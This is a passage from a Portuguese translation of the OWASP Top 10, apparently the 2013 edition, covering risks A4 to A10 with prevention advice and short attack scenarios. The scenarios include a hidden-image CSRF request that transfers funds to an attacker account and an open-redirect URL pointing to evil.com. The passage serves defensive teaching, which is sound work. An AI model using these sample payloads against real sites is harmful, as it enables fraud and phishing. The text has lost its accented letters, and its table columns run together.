por outro objeto que mostra se a autorizao verificada de forma para um atacante
o usurio no est adequada. acessar todos os
autorizado. O acesso dados disponveis
concedido? desse tipo.

Estou vulnervel? Como fao para evitar?

A melhor forma de saber se uma aplicao vulnervel a
referncia insegura e direta a objeto verificar se todos os
objetos referenciados possuem defesas apropriadas. Para atingir
esse objetivo, considere:
1. Para referncias diretas a recursos restritos, a aplicao
falha em verificar se o usurio est autorizado a acessar o
exato recurso que ele requisitou?
2. Se a referncia uma referncia indireta, o mapeamento
para a referncia direta falha ao limitar os valores para
aqueles autorizados para o usurio atual?
Reviso de cdigo da aplicao pode rapidamente verificar se
qualquer abordagem implementada com segurana. Teste
tambm efetivo para identificar referncias diretas a objetos e
se elas so seguras. Ferramentas automatizadas normalmente
no procuram por essa falha, porque elas no podem reconhecer
o que requer proteo ou o que seguro ou inseguro.
Preveno a referncia insegura e direta a objetos requer a seleo de uma
abordagem para proteo de cada objeto acessvel ao usurio (por exemplo,
nmero do objeto, nome de arquivo):
1. Uso de referncia indiretas a objetos por usurio ou sesso. Isso
impede que o atacante atinja diretamente os recursos no autorizados.
Por exemplo, em vez de utilizar a chave de banco de dados do recurso,
uma lista de seis recursos autorizados para o usurio atual poderia
utilizar os nmeros de 1 a 6 para indicar qual valor o usurio
selecionou. A aplicao tem que mapear as referncias indiretas por
usurio de volta para a chave do banco de dados real no servidor.
OWASPs ESAPI inclui tanto mapas de referncia de acesso seqencial e
aleatrio que os desenvolvedores podem usar para eliminar as
referncias diretas a objetos.
2. Verificar o acesso. Cada utilizao de uma referncia direta a objeto de
uma origem no confivel deve incluir uma verificao de controle de
acesso para garantir que o usurio est autorizado para o objeto
requisitado.

Exemplo de Cenrio de Ataque Referncias

A aplicao utiliza dados no verificados em uma chamada
SQL que est acessando as informaes de conta:
String query = "SELECT * FROM accts WHERE account = ?";
PreparedStatement pstmt =
connection.prepareStatement(query , );
pstmt.setString( 1, request.getParameter("acct"));
ResultSet results = pstmt.executeQuery( );
O atacante simplesmente modifica o parmetro acct em seu
navegador para enviar qualquer nmero de conta. Se no
verificado adequadamente, o atacante pode acessar qualquer
conta de usurio, em vez de somente a conta do cliente
pretendido.
http://example.com/app/accountInfo?acct=notmyacct
OWASP
OWASP Top 10-2007 on Insecure Dir Object References
ESAPI Access Reference Map API
ESAPI Access Control API (See isAuthorizedForData(),
isAuthorizedForFile(), isAuthorizedForFunction() )
Para requisitos adicionais de acesso de controle, veja o ASVS
requirements area for Access Control (V4).
Externas
CWE Entry 639 on Insecure Direct Object References
CWE Entry 22 on Path Traversal (um exemplo de um ataque de
Referncia Direta a Objeto)
 Configurao Incorreta de
A5 Segurana
Vetores Vulnerabilidades Impactos Impactos
de Ataque de Segurana Tcnicos no Negcio
Agentes de Ameaa

Especfico da Explorao Prevalncia Deteco Impacto Especfico do

Aplicao FCIL COMUM FCIL MODERADO Negcio / Aplicao
Considere atacantes Atacante acessa Configuraes incorretas podem acontecer em Tais falhas frequen- O sistema poderia ser
externos annimos, contas padro, qualquer nvel da pilha da aplicao, incluindo temente permitem completamente
bem como usurios pginas no utilizadas, a plataforma, servidor web, servidor de aos atacantes acesso comprometido sem
com suas prprias falhas no corrigidas, aplicao, banco de dados, framework e no autorizado a voc saber. Todos os
contas que podem arquivos e diretrios cdigo personalizado. Desenvolvedores e alguns dados ou seus dados podem ser
tentar comprometer o desprotegidos, etc, administradores de sistemas precisam funcionalidade do roubados ou
sistema. Considere para obter acesso no trabalhar juntos para garantir que toda a pilha sistema. modificados
tambm algum autorizado ou esteja configurada corretamente. Scanners Ocasionalmente, lentamente ao longo
internamente conhecimento do automatizados so teis para detectar falta de resultam no do tempo. Custos de
querendo disfarar sistema. atualizaes, erros de configurao, uso de comprometimento recuperao podem
suas aes. contas padro, servios desnecessrios, etc. completo do sistema. ser caros.

Estou vulnervel? Como fao para evitar?

Est faltando a adequada proteo da segurana em qualquer parte
da pilha de aplicao? Incluindo:
1. Algum software est desatualizado? Isto inclui o SO, servidor
web/aplicao, SGBD, aplicaes, e todas as bibliotecas de
cdigo (ver novo A9).
2. Existem recursos desnecessrios ativados ou instalados (por
exemplo, portas, servios, pginas, contas, privilgios)?
3. Contas padro e suas senhas ainda esto habilitadas e no
foram alteradas?
4. Ser que o tratamento de erros revelam rastreamentos de pilha
ou outras mensagens de erro excessivamente informativas para
os usurios?
5. As configuraes de segurana em seus frameworks de
desenvolvimento (por exemplo, Struts, Spring, ASP.NET) e
bibliotecas esto definidas para proteger os valores?
Sem um processo recorrente de configurao de segurana, seus
sistemas esto expostos a um risco mais elevado.
As recomendaes primrias so para estabelecer todas as medidas:
1. Um processo de hardening recorrente que torne fcil e rpido
de implantar outro ambiente que est devidamente blindado.
Ambientes de desenvolvimento, controle de qualidade e
produo devem ser todos configurados de forma idntica
(com senhas diferentes usadas em cada ambiente). Este
processo deve ser automatizado para minimizar o esforo
necessrio para configurar um novo ambiente seguro.
2. Um processo para se manter a par e implantar todas as novas
atualizaes e correes de software em tempo hbil e em para
cada ambiente. Este processo, deve incluir todas as bibliotecas
de cdigo (ver novo A9).
3. Uma arquitetura de aplicao forte que fornea a separao
segura e eficaz entre os componentes.
4. Considere executar varreduras e fazer auditorias
periodicamente para ajudar a detectar erros futuros de
configurao ou correes ausentes.

Exemplos de Cenrios de Ataque Referncias

Cenrio #1: O console de administrao do servidor de aplicao instalado OWASP
automaticamente e no removido. Contas padro no so alteradas.
Atacantes descobrem as pginas padro de administrao que esto em seu OWASP Development Guide: Chapter on Configuration
servidor, fazem login com senhas padro e assumem o acesso do ambiente. OWASP Code Review Guide: Chapter on Error Handling
Cenrio #2: A listagem de diretrios no est desativada em seu servidor. O
atacante descobre que pode simplesmente listar os diretrios para encontrar OWASP Testing Guide: Configuration Management
qualquer arquivo. Atacante encontra e transfere todas as suas classes Java
OWASP Testing Guide: Testing for Error Codes
compiladas, e pode decompilar e fazer engenharia reversa para obter todo o
seu cdigo customizado. Assim, ele encontra uma falha grave de acesso de OWASP Top 10 2004 - Insecure Configuration Management
controle em sua aplicao.
Cenrio #3: Configurao do servidor de aplicao permite que os Para requisitos adicionais nesta rea, veja ASVS requirements
rastreamentos de pilha sejam devolvidos aos usurios, potencialmente area for Security Configuration (V12).
expondo falhas potenciais. Atacantes adoram as mensagens de erro que Externas
fornecem informaes extras.
Cenrio #4: servidor de aplicao vem com exemplos que no so removidos PC Magazine Article on Web Server Hardening
do seu servidor de produo. Aplicaes de exemplo tm falhas de CWE Entry 2 on Environmental Security Flaws
segurana conhecidas que os atacantes podem usar para comprometer o seu
servidor. CIS Security Configuration Guides/Benchmarks
 A6 Exposio de Dados Sensveis
Vetores Vulnerabilidades Impactos Impactos
Agentes de Ameaa de Ataque de Segurana Tcnicos no Negcio

Especfico da Explorao Prevalncia Deteco Impacto Especfico do

Aplicao DIFCIL
Considere quem pode Os atacantes
ter acesso aos seus normalmente no
dados sensveis e quebram diretamente a
backups desses dados. criptografia. Eles
Incluindo os dados em exploram de outra forma,
repouso, em trfego, como roubar chaves,
e at mesmo nos aplicar ataques do tipo
navegadores de seus man-in-the-middle, ou
clientes. Inclua tanto roubar dados em texto
ameaas externas claro fora do servidor,
como internas. enquanto transitam, ou a
partir do navegador do
usurio.
RARA MDIA SEVERO Negcio / Aplicao
A falha mais comum simplesmente no A falha Considere o valor de
criptografar dados sensveis. Quando a frequentemente negcio dos dados
criptografia utilizada, a gerao e compromete todos os perdidos e o impacto
gerenciamento de chaves fraca, alm da dados que deveriam para sua reputao.
utilizao de algoritmos e tcnicas de ter sido protegidos. Qual a sua
hashing fracos. Vulnerabilidades no Normalmente, essas responsabilidade legal
navegador so comuns e fcil de detectar, informaes incluem se estes dados forem
mas so difceis de explorar em larga dados sensveis tais expostos? Considere
escala. Atacantes externos tem dificuldade como registros tambm os danos
em detectar falhas no lado do servidor, mdicos, credenciais sua reputao.
devido ao acesso limitado e tambm so de acesso, dados
geralmente mais difceis de explorar. pessoais, cartes de
crdito, etc.

Estou vulnervel? Como fao para evitar?

A primeira coisa que voc deve determinar quais dados so sensveis o
suficiente para exigir proteo extra. Por exemplo, senhas, nmeros de
carto de crdito, registros mdicos e informaes pessoais devem ser
protegidas. Para todos esses dados:
1. Qualquer um desses dados armazenado em texto claro a longo prazo,
incluindo backups de dados?
2. Qualquer um desses dados transmitido em texto claro, internamente
ou externamente? O trfego de internet especialmente perigoso.
3. Algum algoritmo de criptografia utilizado fraco ou defasado?
4. As chaves criptogrficas geradas so fracas, ou elas possuem um
gerenciamento ou rodzio de forma adequada?
5. Algumas diretivas de segurana do navegador ou cabealhos esto
ausentes quando os dados sensveis so fornecidos/enviados ao
navegador?
Para um conjunto mais completo de problemas a serem evitados, consulte
reas do ASVS de Criptografia (V7), Proteo de dados (V9), e SSL (V10).
Os perigos completos da criptografia insegura, o uso de SSL e proteo de
dados esto muito alm do escopo do Top 10. Dito isto, no mnimo, faa
todas as recomendaes:
1. Considerando que voc pretende proteger os dados de ameaas (como
por exemplo, ataque interno ou de usurio externo), tenha a certeza de
criptografar todos os dados sensveis em repouso e em trnsito de uma
forma que iniba estas ameaas.
2. No armazene dados sensveis desnecessariamente. Descarte-os o mais
rpido possvel. Dados que voc no tem no podem ser roubados.
3. Certifique-se que o nvel utilizado nos algoritmos e chaves so fortes, e
que o gerenciamento de chaves est aplicado adequadamente.
Considere utilizar os mdulos criptogrficos validados do FIPS-140.
4. Certifique-se que as senhas so armazenadas com um algoritmo
projetado especialmente para a proteo de senhas, como o bcrypt,
PBKDF2 ou scrypt.
5. Desabilite o autocompletar em formulrios de coleta de dados sens-
veis e desabilite o cache em pginas que contenham dados sensveis.

Exemplos de Cenrios de Ataque Referncias

Cenrio #1: Uma aplicao criptografa nmeros de carto de crdito em um
banco de dados usando a criptografia automtica do banco de dados. No en-
tanto, isso significa que tambm descriptografa esses dados automaticamen-
te quando recuperados, permitindo uma falha de injeo SQL para recuperar
os nmeros de carto de crdito em texto claro. O sistema deveria ter cripto-
grafado os nmeros de carto de crdito atravs de uma chave pblica, e s
permitir a descriptografia por aplicaes de back-end com a chave privada.
Cenrio #2: Um site simplesmente no usa SSL em todas as pginas
autenticadas. O atacante simplesmente monitora o trfego de rede (como
uma rede wireless aberta), e rouba o cookie de sesso do usurio. O atacante
ento reproduz este cookie e sequestra a sesso do usurio, acessando
dados privados do mesmo.
Cenrio #3: O banco de dados de senhas dos usurios usa hashes simples
(unsalted) para armazenar as senhas de todos. Uma falha de upload de
arquivos permite que um atacante recupere o arquivo de senhas. Todos os
hashes simples podero ser expostos atravs de uma rainbow table de
hashes pr-calculados.
OWASP - Para um conjunto mais completo de requisitos, consulte
Requisitos do ASVS na Criptografia (V7), Proteo de Dados (V9) e
Segurana das Comunicaes (V10)
OWASP Cryptographic Storage Cheat Sheet
OWASP Password Storage Cheat Sheet
OWASP Transport Layer Protection Cheat Sheet
OWASP Testing Guide: Chapter on SSL/TLS Testing
Externas
CWE Entry 310 on Cryptographic Issues
CWE Entry 312 on Cleartext Storage of Sensitive Information
CWE Entry 319 on Cleartext Transmission of Sensitive Information
CWE Entry 326 on Weak Encryption
 Falta de Funo para Controle do
A7 Nvel de Acesso
Vetores Vulnerabilidades Impactos Impactos
de Ataque de Segurana Tcnicos no Negcio
Agentes de Ameaa

Especfico da Explorao Prevalncia Deteco Impacto Especfico do

Aplicao FCIL
Qualquer um com O atacante, que um
acesso rede pode usurio autorizado no
enviar uma requisio sistema, simplesmente
para a sua aplicao. muda a URL ou um
Usurios annimos parmetro para uma
poderiam acessar fun- funo privilegiada. O
cionalidades privadas acesso concedido?
ou usurios normais Usurios annimos
acessarem uma podem acessar funes
funo privilegiada? privadas que no so
protegidas.
COMUM MDIO MODERADO Negcio / Aplicao
Aplicaes nem sempre protegem Tais falhas permitem Considere o valor de
adequadamente as funo de aplicao. s aos atacantes negcio das funes
vezes, a proteo em nvel de funo acessarem expostas e os dados
gerenciada via configurao, e o sistema funcionalidades no que elas processam.
mal configurado. s vezes, autorizadas. Funes
desenvolvedores devem incluir verificaes administrativas so os Tambm considere o
de cdigo adequadas, e eles esquecem. principais alvos para impacto para sua
esse tipo de ataque. reputao se essa
A deteco de tais falhas fcil. A parte vulnerabilidade se
mais difcil identificar em quais pginas tornar pblica.
(URLs) ou funes existem para atacar.

Estou Vulnervel? Como fao para evitar?

A melhor maneira para descobrir se uma aplicao falha em restringir
adequadamente o acesso em nvel de funo verificar todas as funes da
aplicao:
1. A UI mostra a navegao para as funes no autorizadas?
2. No lado do servidor falta verificao de autenticao ou autorizao?
3. No lado do servidor as verificaes feitas dependem apenas de
informaes providas pelo atacante?
Utilizando um proxy, navegue sua aplicao com um papel privilegiado.
Ento revisite pginas restritas utilizando um papel menos privilegiado. Se as
respostas do servidor so iguais, voc provavelmente est vulnervel. Alguns
testes de proxies suportam diretamente esse tipo de anlise.
Voc pode tambm verificar a implementao do controle de acesso no
cdigo. Tente seguir uma nica requisio privilegiada atravs do cdigo e
verifique o padro de autorizao. Ento pesquise o cdigo base para
encontrar onde o padro no est sendo seguido.
Ferramentas automatizadas so improvveis de encontrar esses problemas.
Sua aplicao deveria ter um mdulo de autorizao consistente e fcil de
analisar que seja chamado por todas as suas funes de negcio.
Frequentemente, tal proteo fornecida por um ou mais componentes
externos ao cdigo da aplicao.
1. Pense sobre o processo para gerenciar os direitos e garantir que voc
possa atualizar e auditar facilmente. No codifique diretamente.
2. A execuo de mecanismos deve negar todo o acesso por padro,
exigindo direitos explcitos para papis especficos no acesso a todas as
funes.
3. Se a funo est envolvida em um fluxo de trabalho, verifique, para ter
certeza, se as condies esto em estado adequado para permitir
acesso.
NOTA: Muitas das aplicaes web no mostram links e botes para funes
no autorizadas, mas esse "controle de acesso na camada de apresentao"
na verdade no fornece proteo. Voc tambm deve implementar
verificaes na lgica do controlador ou do negcio.

Exemplos de Cenrios de Ataque Referncias

Cenrio #1: O atacante simplesmente fora a navegao pelas
URLs alvo. As seguintes URLs exigem autenticao. Direitos de
administrador tambm so exigidos para acessar a pgina
admin_getappInfo .
http://example.com/app/getappInfo
http://example.com/app/admin_getappInfo
Se um usurio no autenticado pode acessar qualquer pgina,
isso uma falha. Se um usurio autenticado, no
administrador, tem permisso para acessar a pgina
admin_getappInfo, isso tambm uma falha, e pode levar o
atacante para mais pginas de administrao
inadequadamente protegidas.
Cenrio #2: Uma pgina fornece um parmetro action para
especificar a funo que est sendo chamada, e diferentes
aes exigem papis diferentes. Se esses papis no so
aplicados, isso uma falha.
OWASP
OWASP Top 10-2007 on Failure to Restrict URL Access
ESAPI Access Control API
OWASP Development Guide: Chapter on Authorization
OWASP Testing Guide: Testing for Path Traversal
OWASP Article on Forced Browsing
Para requisitos adicionais de acesso de controle, veja o ASVS
requirements area for Access Control (V4).
Externas
CWE Entry 285 on Improper Access Control (Authorization)
 Cross-Site Request Forgery
A8 (CSRF)
Vetores Vulnerabilidades Impactos Impactos
de Ataque de Segurana Tcnicos no Negcio
Agentes de Ameaa

Especfico da Explorao Prevalncia Deteco Impacto Especfico do

Aplicao MDIO COMUM FCIL MODERADO Negcio / Aplicao
Considere qualquer O atacante forja O CSRF se aproveita do fato de que a maioria Os atacantes podem Considere o valor de
pessoa que possa requisies HTTP das aplicaes web permitem que os enganar suas fazendo negcio dos dados ou
carregar contedo nos falsas e engana uma atacantes prevejam todos os detalhes de com que executem funes afetadas da
navegadores dos vitima submetendo-a uma ao particular da aplicao. Como os operaes de mudana aplicao. Imagine
usurios, e assim a um ataque atravs navegadores automaticamente trafegam de estado que a vtima no ter a certeza se os
for-los a fazer uma de tags de imagem, credenciais como cookies de sesso, os est autorizada a usurios tem a
requisio para seu XSS, ou inmeras atacantes podem criar pginas web realizar, por ex., inteno de realizar
site. Qualquer site ou outras tcnicas. Se o maliciosas que geram requisies forjadas atualizando detalhes da tais aes.
outro servio html usurio estiver indistinguveis das legtimas. Deteco de sua conta, comprando,
que usurios acessam autenticado, o ataque falhas de CSRF bastante simples atravs de deslogando ou at Considere o impacto
pode fazer isso. bem sucedido. testes de penetrao ou de anlise de mesmo efetuando na sua reputao.
cdigo. login.

Estou vulnervel? Como fao para evitar?

Para verificar se uma aplicao vulnervel, verifique se quaisquer links e
formulrios no possuam um token imprevisvel de CSRF. Sem um token, os
atacantes podem forjar requisies maliciosas. Uma alternativa de defesa
solicitar que o usurio prove a inteno de submeter a requisio, seja
atravs de uma autenticao, ou alguma outra prova de que um usurio
real (por exemplo, um CAPTCHA).
Concentre-se nos links e formulrios que invocam funes de mudana de
estado, uma vez que esses so os alvos mais importantes de um CSRF.
Voc deve verificar as transaes em vrias etapas, j que elas no so
inerentemente imunes. Os atacantes podem facilmente forjar uma srie de
requisies usando mltiplas tags ou possivelmente Java Script.
Note que os cookies de sesso, endereos IP de origem, e outras informaes
que so enviadas automaticamente pelo navegador no fornecem nenhuma
defesa contra CSRF uma vez que elas tambm so includas nas requisies
forjadas.
A ferramenta de teste do OWASP CSRF Tester pode auxiliar com gerao de
casos de teste para demonstrar os perigos das falhas de CSRF.
A preveno de um CSRF geralmente requer a incluso de um token
imprevisvel em cada requisio HTTP. Tais tokens devem, no mnimo, ser
nicos por sesso de usurio.
1. A opo preferida consiste em incluir um token nico em um campo
oculto. Isso faz com que o valor seja enviado no corpo da requisio
HTTP, evitando-se a sua insero na URL, que mais propensa a
exposio.
2. O token nico pode ser includo na prpria URL, ou em parmetros da
URL. Contudo, tal posicionamento corre um risco maior j que a URL
ser exposta ao atacante, comprometendo assim o token secreto.
O CSRF Guard do OWASP pode incluir tokens automaticamente em
aplicaes Java EE, .NET ou PHP. A ESAPI do OWASP disponibiliza mtodos
para desenvolvedores utilizarem na preveno de vulnerabilidades de CSRF.
3. Exigir que o usurio autentique novamente, ou provar que so
realmente um usurio (por exemplo, atravs de CAPTCHA) tambm
pode proteger contra CSRF.

Exemplo de Cenrio de Ataque Referncias

A aplicao permite que um usurio submeta uma requisio de OWASP
mudana de estado que no inclui qualquer segredo. Por exemplo:
OWASP CSRF Article
http://exemplo.com/app/transferirFundos?quantia=1500
&contaDestino=4673243243 OWASP CSRF Prevention Cheat Sheet

Com isso, o atacante constri uma requisio que ir transferir OWASP CSRFGuard - CSRF Defense Tool
dinheiro da conta da vtima para a conta do atacante, e ento ESAPI Project Home Page
incorpora este ataque em uma requisio armazenada em uma
imagem ou iframe em vrios sites sob o controle do atacante: ESAPI HTTPUtilities Class with AntiCSRF Tokens
<img src="http://exemplo.com/app/transferirFundos? OWASP Testing Guide: Chapter on CSRF Testing
quantia=1500&contaDestino=contaAtacante# OWASP CSRFTester - CSRF Testing Tool
width="0" height="0" />
Se a vtima visitar qualquer um dos sites do atacante enquanto Externas
estiver autenticado em exemplo.com, essas requisies forjadas iro
incluir automaticamente informaes de sesso do usurio, CWE Entry 352 on CSRF
autorizando o pedido do atacante.
 Utilizao de Componentes
A9 Vulnerveis Conhecidos
Vetores Vulnerabilidades Impactos Impactos
de Ataque de Segurana Tcnicos no Negcio
Agentes de Ameaa

Especfico da Explorao Prevalncia Deteco Impacto Especfico do

Aplicao MDIO GENERALIZADA DIFCIL MODERADO Negcio / Aplicao

Alguns componentes O atacante identifica um Virtualmente todas aplicaes possuem estes A gama completa de Considere o que cada
vulnerveis (por exemplo, componente vulnervel problemas porque a maioria dos times de vulnerabilidades vulnerabilidade pode
bibliotecas de framework) atravs de varredura ou desenvolvimento no focam em garantir que possvel, incluindo significar para o negcio
podem ser identificadas e anlise manual. Ele seus componentes e/ou bibliotecas estejam injeo, falha no controlado pela
exploradas com ferramen- personaliza o exploit atualizados. Em muitos casos, os controle de acesso, XSS, aplicao afetada. Ela
tas automatizadas, expan- conforme necessrio e desenvolvedores sequer conhecem todos os etc. O impacto poderia pode ser trivial ou pode
dindo o leque de agentes de executa o ataque. Isso se componentes que esto usando, muito menos variar do mnimo ao significar o
ameaa incluindo, alm de torna mais difcil se o com- suas verses. Dependncias de componentes completo comprometimento
atacantes direcionados, ponente usado est mais tornam a situao ainda pior. comprometimento do completo.
atores caticos. profundo na aplicao. servidor e dos dados.

Estou vulnervel? Como fao para evitar?

Em teoria, deveria ser fcil de descobrir se voc est atualmente
utilizando quaisquer componentes ou bibliotecas vulnerveis.
Infelizmente, relatrios de vulnerabilidades de software comercial
ou livre nem sempre especificam exatamente quais verses de um
componente esto vulnerveis de uma forma padro, pesquisvel.
Alm disso, nem todas as bibliotecas utilizam um sistema de
numerao de verses compreensvel. Pior ainda, nem todas as
vulnerabilidades so reportadas para um local central que seja fcil
de pesquisar, apesar de sites como CVE e NVD estejam se tornando
mais fceis de pesquisar.
Determinar se voc est vulnervel requer pesquisar nesses bancos
de dados, bem como manter-se a par de listas de e-mails e anncios
para qualquer coisa que possa ser uma vulnerabilidade. Se um de
seus componentes tiver uma vulnerabilidade, voc deve avaliar
cuidadosamente se est realmente vulnervel verificando se seu
cdigo utiliza a parte do componente com a vulnerabilidade e se a
falha poderia resultar em um impacto que preocupe voc.
Uma opo no usar componentes que voc no escreve. Mas isso
no muito realista.
Muitos projetos de componentes no criam correes de
vulnerabilidades para verses antigas. Em vez disso, mais simples
corrigir o problema na prxima verso. Ento atualizar para essas novas
verses crtico. Projetos de software devem ter processos para:
1) Identificar todos os componentes e as verses que voc est utili-
zando, incluindo todas as dependncias. (ex., verses dos plugins).
2) Monitorar a segurana desses componentes em banco de dados
pblicos, listas de e-mail de projetos e segurana, e mant-los
atualizados.
3) Estabelecer polticas de segurana que definam o uso do
componente, assim como exigir certas prticas de
desenvolvimento de software, passando em testes de segurana, e
licenas aceitveis.
4) Quando apropriado, considere a adio de invlucros de segu-
rana em torno dos componentes para desabilitar funcionalidades
no utilizadas e/ou proteger falhas ou aspectos vulnerveis do
componente.

Exemplo de Cenrios de Ataque Referncias

Vulnerabilidades de componentes podem causar quase qualquer tipo de OWASP
risco imaginvel, variando do malware trivial ao sofisticado desenvolvido
para atingir uma organizao especfica. Componentes quase sempre Good Component Practices Project
executam com todos os privilgios de uma aplicao, ento falhas em
qualquer componente podem ser srias. Os dois seguintes componentes
vulnerveis foram baixados 22m de vezes em 2011. Externas
Apache CXF Authentication Bypass Ao no fornecer um token de The Unfortunate Reality of Insecure Libraries
identidade, atacantes podem chamar qualquer servio web com todas as
Open Source Software Security
permisses. (Apache CXF um framework de servios, no deve ser
confundido com o Servidor de Aplicao Apache.) Addressing Security Concerns in Open Source Components
Spring Remote Code Execution Abuso da implementao de Linguagem MITRE Common Vulnerabilities and Exposures
Expression no Spring permitiu aos atacantes executarem cdigo
arbitrrio, efetivamente comprometendo o servidor. Example Mass Assignment Vulnerability that was fixed in
ActiveRecord, a Ruby on Rails GEM
Toda aplicao utilizando qualquer dessas bibliotecas vulnerveis est
vulnervel a ataques j que ambos componentes so diretamente acessveis
por usurios da aplicao. Outras bibliotecas vulnerveis, usadas mais
profundamente em uma aplicao, podem ser mais difceis de explorar.
 Redirecionamentos e
A10 Encaminhamentos Invlidos
Vetores Vulnerabilidades Impactos Impactos
de Ataque de Segurana Tcnicos no Negcio
Agentes de Ameaa

Especfico da Explorao Prevalncia Deteco Impacto Especfico do

Aplicao MDIA RARA FCIL MODERADO Negcio / Aplicao
Considere quem O atacante aponta para Aplicaes frequentemente redirecionam Tais redirecionamentos Considere o valor de
possa enganar um redirecionamento usurios para outras pginas, ou usam podem tentar instalar negcio da
seus usurios para invlido e engana as encaminhamentos internos de uma maneira malware ou enganar manuteno da
que enviem uma vtimas para que cliquem similar. Por vezes a pgina de destino vtimas para que confiana de seus.
solicitao ao seu nele. As vtimas so mais especificada atravs de um parmetro que divulguem suas senhas
site. Qualquer site propensas a clicar, j que no validado, permitindo que o atacante ou outras informaes E se eles forem
ou feed HTML que o link aponta para um escolha essa pgina de destino. sensveis. infectados por
seus usurios site vlido. O atacante Encaminhamentos malware?
utilizam poderia visa um encaminhamen- Detectar redirecionamentos invlidos fcil. inseguros podem
Procure por aqueles onde voc pode definir a permitir contornar os E se atacantes
fazer isso. to inseguro para evitar puderem acessar
verificaes de URL completa. Encaminhamen-tos invlidos controles de acesso.
so mais difceis, pois eles tm como alvo funes que deveriam
segurana. ser somente internas?
pginas internas.

Estou vulnervel? Como fao para evitar?

A melhor forma de verificar se uma aplicao possui
redirecionamentos ou encaminhamentos no validados :
1. Revise o cdigo de todos os usos de redirecionamentos ou
encaminhamentos (chamados de transferncia em .NET). Para
cada uso, identifique se a URL de destino est includa em
quaisquer valores de parmetro. Caso a URL de destino no seja
validada em uma lista branca, voc est vulnervel.
2. Tambm, varra o site para verificar se ele gera algum
redirecionamento (cdigos de resposta HTTP 300-307,
tipicamente 302). Olhe para os parmetros fornecidos antes do
redirecionamento para verificar se eles parecem ser uma URL
de destino ou apenas parte dela. Se sim, altere a URL de
destino e observe se o site redireciona para o novo destino.
3. Se o cdigo no estiver disponvel, verifica todos os parmetros
para identificar se eles parecem ser parte de um
redirecionamento ou encaminhamento e teste todos.
Uso seguro de redirecionamentos e encaminhamentos pode ser
feito de vrias formas:
1. Simplesmente evitar us-los.
2. Se forem usados, no envolva parmetros do usurio no clculo
do destino. Normalmente, isto pode ser feito.
3. Se os parmetros de destino no podem ser evitados, tenha
certeza que o valor fornecido vlido, e autorizado para o
usurio.
Recomenda-se que qualquer parmetro de destino seja um
valor mapeado, e no a URL real ou parte dela, e que o cdigo
do lado do servidor traduza este mapeamento para a URL de
destino.
Aplicaes podem usar ESAPI para substituir o mtodo
sendRedirect() para certificarem-se de que todos os destinos do
redirecionamento so seguros.
Evitar tais falhas extremamente importante j que elas so o alvo
favorito de phishers tentando obter a confiana do usurio.

Exemplos de Cenrios de Ataque Referncias

Cenrio #1: A aplicao possui uma pgina chamada OWASP
redirect.jsp que recebe apenas um parmetro url. O
atacante cria uma URL maliciousa que redireciona os usurios OWASP Article on Open Redirects
para o site malicioso, que executa phishing e instala malware. ESAPI SecurityWrapperResponse sendRedirect() method
http://www.example.com/redirect.jsp?url=evil.com
Cenrio #2: A aplicao usa encaminhamentos para rotear Externas
requisies entre partes diferentes do site. Para facilitar,
algumas pginas usam um parmetro para indicar onde o CWE Entry 601 on Open Redirects
usurio deve ser enviado se a transao for efetuada com WASC Article on URL Redirector Abuse
sucesso. Neste caso, o atacante cria uma URL que ir passar
pela verificao de controle de acesso e encaminh-lo para Google blog article on the dangers of open redirects
uma funcionalidade administrativa que o atacante no teria
autorizao para acess-la. OWASP Top 10 for .NET article on Unvalidated Redirects and
Forwards
http://www.example.com/boring.jsp?fwd=admin.jsp
 Prximos Passos para
+D Desenvolvedores
Estabelecer e Usar Processos de Segurana Consistentes e Controles de
Segurana Padronizados
Se a segurana de aplicaes de web um tema novo para voc, ou mesmo que j esteja bem familiarizado com esses riscos, a
tarefa de criar uma aplicao web segura ou corrigir uma aplicao web que j existe pode ser bastante difcil. Se voc gerencia
um portfolio de aplicaes de tamanho considervel, isso pode ser intimidante.

Para ajudar organizaes e desenvolvedores a reduzir os riscos de segurana de suas aplicaes de uma forma econmica, o
OWASP criou vrios recursos livres e abertos que podem ser usados visando a segurana de aplicaes na sua empresa. A seguir
se encontram alguns dos muitos recursos que o OWASP criou para ajudar organizaes a produzir aplicaes web seguras. Na
pgina seguinte apresentamos recursos adicionais do OWASP que podem ajudar a verificar a segurana das aplicaes.

Para desenvolver uma aplicao web segura necessrio definir o que significa segurana para
Requisitos de
essa aplicao. O OWASP recomenda usar o Padro de Verificao de Segurana de Aplicaes
Segurana de
(ASVS) como guia para configurar os requisitos de segurana da(s) sua(s) aplicao(es). Se
Aplicaes
estiver terceirizando, considerar o Anexo do Contrato de Software Seguro do OWASP.

Arquitetura Ao invs de adicionar segurana a suas aplicaes, muito mais econmico projetar a segurana
de Segurana desde o princpio. O OWASP recomenda O Guia do Desenvolvedor OWASP e as Dicas de
de Aplicaes Preveno do OWASP como pontos de partida para projetar segurana desde o incio.

Construir controles de segurana fortes e fceis de usar extremamente difcil. Um conjunto de

Controles de controles de segurana padronizados simplifica radicalmente o desenvolvimento de aplicaes
Segurana seguras. O OWASP recomenda o Projeto da API de Segurana Empresarial do OWASP (ESAPI)
Padronizados como modelo de API de segurana necessria para produzir aplicaes web seguras. A ESAPI tem
implementaes de referncia em Java, .NET, PHP, ASP Clssico, Python, e Cold Fusion.

Para melhorar o processo que a sua organizao segue ao desenvolver aplicaes, o OWASP
Segurana do
recomenda o Modelo de Maturidade de Garantia do Software (SAMM). Este modelo ajuda a
Ciclo de Vida do
Desenvolvimento
organizao a formular e implementar estratgias para segurana de software customizadas para
os riscos especficos que a organizao enfrenta.

O Projeto de Educao OWASP oferece material de treinamento para ajudar a educar

Educao em desenvolvedores em segurana de aplicaes web e uma lista extensa de Apresentaes
Segurana de Educacionais do OWASP. Para treinamento prtico sobre vulnerabilidades, use o WebGoat
Aplicaes OWASP, WebGoat.NET, ou o Projeto OWASP Broken Web Applications. Para se manter atualizado,
participe de uma Conferncia AppSec do OWASP, um Evento de Treinamento OWASP, ou de
reunies de um Captulo local do OWASP.

Numerosos recursos adicionais do OWASP esto disponveis. Visite a Pgina de Projetos OWASP, l esto listados todos os
projetos OWASP, organizados por tipo de verso dos projetos (Release Quality, Beta, ou Alfa). A maioria dos recursos OWASP
est disponvel na pgina de wiki, e muitos documentos do OWASP podem ser solicitados em formato Impresso ou eBook.
 Prximos Passos para
+V Verificadores
Organize-se
Para verificar a segurana da aplicao web que voc desenvolveu, ou de uma aplicao que esteja considerando adquirir, o
OWASP recomenda verificar o cdigo fonte da mesma (se disponvel), bem como testar a aplicao. O OWASP recomenda
combinar a reviso de segurana do cdigo com o teste de invaso sempre que possvel, pois isto permite aproveitar as
vantagens das duas tcnicas, aliado ao fato que as duas se complementam. As ferramentas para ajudar no processo de
